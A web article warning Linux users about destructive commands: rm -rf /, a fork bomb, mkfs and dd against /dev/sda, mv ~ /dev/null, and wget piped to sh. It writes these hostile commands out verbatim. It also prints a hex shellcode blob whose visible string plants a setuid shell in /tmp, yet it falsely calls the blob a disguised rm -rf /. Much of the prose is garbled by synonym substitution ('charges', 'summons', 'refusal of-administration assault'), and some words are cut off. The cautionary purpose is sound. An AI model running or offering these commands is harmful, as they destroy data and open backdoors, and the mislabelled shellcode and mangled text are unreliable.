8 Deadly Commands You Should Never Run on Linux

Linux's terminal charges are persuasive, and Linux won't approach you for attestation in case you run a summon that won't break your structure. It's not exceptional to see trolls web proposing new Linux customers run these summons as a joke. 

Taking in the charges you shouldn't run can help shield you from trolls while growing your perception of how Linux capacities. This isn't an extensive assistant, and the summons here can be remixed in a blended sack of ways. 

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Note that various these summons may be dangerous in case they're prefixed with sudo on Ubuntu – they won't work by and large. On other Linux courses, most requests must be run as r

rm -rf / – Deletes Everything!

The command rm -rf / deletes everything it possible can, including files on your hard drive and files on connected removable media devics. This command is more understandable if it’s broken down:

rm – Remove the following files.

-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux will joyfully comply with this charge and erase everything without provoking you, so be watchful when utilizing it! The rm charge can likewise be utilized as a part of different unsafe ways – rm –rf ~would erase all records in your home organizer, while rm -rf .* would erase all your arrangement documet

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The Lesson: Beware rm -rf.

Disguised rm –rf /

Here’s another snippet of code that’s all over the web:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of rm –rf / – executing this command would wipe out your files just as if you had run rm –rf /.

The Lesson: Don’t run weird-looking, obviously disguised commands that you don’t understand.

:(){ :|: & };: – Fork Bomb

The following line is a simple-looking, but dangerous, bash function:

:(){ :|: & };:

This short line characterizes a shell work that makes new duplicates of itself. The procedure constantly repeats itself, and its duplicates persistently recreate themselves, rapidly taking up all your CPU time and memory. This can result in your PC to stop. It's fundamentally a refusal of-administration assault.
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The Lesson: Bash functions are powerful, even very short ones.

Image Credit: Dake on Wikimedia Commons

mkfs.ext4 /dev/sda1 – Formats a Hard Drive

The mkfs.ext4 /dev/sda1 command is simple to understand:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Taken together, this charge can be comparable to running organization c: on Windows – it will wipe the documents on your first parcel and supplant them with another document framewor

This command can come in other forms as well – mkfs.ext3 /dev/sdb2 would format the second partition on the second hard drive with the ext3 file system.

The Lesson: Beware running commands directly on hard disk devices that begin with /dev/sd.
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command > /dev/sda – Writes Directly to a Hard Drive

The command > /dev/sda line works similarly – it runs a command and sends the output of that command directly to your first hard drive, writing the data directly to the hard disk drive and damaging your file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

The Lesson: As above, beware running commands that involve hard disk devices beginning with /dev/sd.

dd if=/dev/random of=/dev/sda – Writes Junk Onto a Hard Drive

The dd if=/dev/random of=/dev/sda line will also obliterate the data on one of your hard drives.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

The Lesson: dd duplicates information starting with one area then onto the next, which can be hazardous in case you're duplicating specifically to a gadget.

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Image Credit: Matt Rudge on Flickr

mv ~ /dev/null – Moves Your Home Directory to a Black Hole

/dev/null is another special location – moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

The Lesson: The ~ character represents your home folder and moving things to /dev/null destroys them.

wget http://example.com/something -O – | sh – Downloads and Runs a Script

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you’re not sure what the script is or if you don’t trust its source – don’t run untrusted scripts.

wget – Downloads a file. (You may also see curl in place of wget.)

http://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

The Lesson: Don’t download and run untrusted scripts from the web, even with a command.

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